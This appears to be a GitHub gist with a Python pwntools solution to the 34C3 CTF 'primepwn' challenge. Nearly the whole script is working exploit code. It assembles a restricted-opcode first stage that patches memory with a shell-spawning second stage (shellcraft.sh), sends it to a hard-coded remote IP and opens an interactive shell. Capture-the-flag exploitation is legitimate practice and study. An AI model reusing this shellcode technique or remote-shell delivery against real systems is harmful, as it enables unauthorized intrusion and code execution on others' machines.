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@vient vient/solve.py
Created Jan 1, 2018

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34C3 CTF primepwn solution
#!/usr/bin/env python2
from pwn import *
from heapq import *
PRIMES = (2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251)
def gen_byte_generators():
res = {}
for i in range(256):
for a in range(len(PRIMES)):
for b in range(a, len(PRIMES)):
for c in range(b, len(PRIMES)):
if PRIMES[a] ^ PRIMES[b] ^ PRIMES[c] == i:
res[i] = (PRIMES[a], PRIMES[b], PRIMES[c])
break
else:
continue
break
else:
continue
break
else:
print('[!] No result found for', i)
return res
with open('primepwn', 'rb') as f:
data = f.read(0xA70)
bin_consts = tuple((0x400000 + i, u32(data[i:i + 4])) for i in range(0, len(data), 4))
s, t = set(), []
for x in bin_consts:
if x[1] not in s:
t.append(x)
s.add(x[1])
bin_consts = tuple(t)
class CPU():
def __init__(self):
self.eax = 0x1337000
self.ebx = 0
self.ecx = 0x194
self.esi = 0x603020
self.edi = 0x1337000
cpu = CPU()
def and_eax(n):
global cpu
cpu.eax &= n
return b'\x25' + p32(n)
def xor_eax(n):
global cpu
cpu.eax ^= n
return b'\x35' + p32(n)
def zero_eax():
return and_eax(0x02020202) + and_eax(0x05050505)
def xchg_eax_edi():
global cpu
cpu.eax, cpu.edi = cpu.edi, cpu.eax
return b'\x97'
byte_generators = gen_byte_generators()
def set_eax(n, prev=None):
res = b''
if prev is None:
# res += zero_eax()
n ^= cpu.eax
else:
n ^= prev
b0, b1, b2, b3 = (n >> 0) & 0xFF, (n >> 8) & 0xFF, (n >> 16) & 0xFF, (n >> 24) & 0xFF
g0, g1, g2, g3 = byte_generators[b0], byte_generators[b1], byte_generators[b2], byte_generators[b3]
for a, b, c, d in zip(g0, g1, g2, g3):
res += xor_eax((a << 0) + (b << 8) + (c << 16) + (d << 24))
return res
def zero_edi():
return zero_eax() + xchg_eax_edi()
def set_edi(n, prev=None):
return set_eax(n, prev) + xchg_eax_edi()
def mov_ebx_ptr(addr):
# shit, no ebx emul
return set_edi(addr) + b'\x8b\x1f'
def add_ebx_ptr(addr):
# shit, no ebx emul
return set_edi(addr) + b'\x03\x1f'
def zero_ebx():
# shit, no ebx emul
for x in bin_consts:
if x[1] == 0:
return mov_ebx_ptr(x[0])
def set_ebx(n, max_iters=1000):
# shit, no ebx emul
q = []
was = set()
for x in bin_consts:
if n >= x[1]:
heappush(q, (n - x[1], (x,)))
res, iters = None, 0
while q and iters < max_iters:
iters += 1
now_sum, now = heappop(q)
now_sum = n - now_sum
if now_sum == n and (res is None or len(now) < len(res)):
res = now
was.add(now_sum)
for x in bin_consts:
if now_sum + x[1] <= n and now_sum + x[1] not in was:
heappush(q, (n - now_sum - x[1], now + (x,)))
return zero_ebx() + b''.join(add_ebx_ptr(x[0]) for x in res)
def patch_dword(addr, val):
return set_ebx(val) + set_edi(addr) + b'\x89\x1f'
def main():
global cpu
cpu = CPU()
context.arch = 'x86_64'
second_stage = asm(shellcraft.sh())
while len(second_stage) % 4:
second_stage += b'\x90'
first_stage = b''
for i in range(0, len(second_stage), 4):
first_stage += patch_dword(0x1337c00 + i, u32(second_stage[i:i+4]))
shellcode = first_stage.ljust(0x1000, b'\x97')
# log.info('Shellcode:\n' + hexdump(shellcode))
p = remote('35.198.178.224', 1337)
p.recvall = lambda: p.recv(1024, timeout=0.5)
p.send(shellcode)
print p.recvall()
p.interactive()
if __name__ == '__main__':
main()
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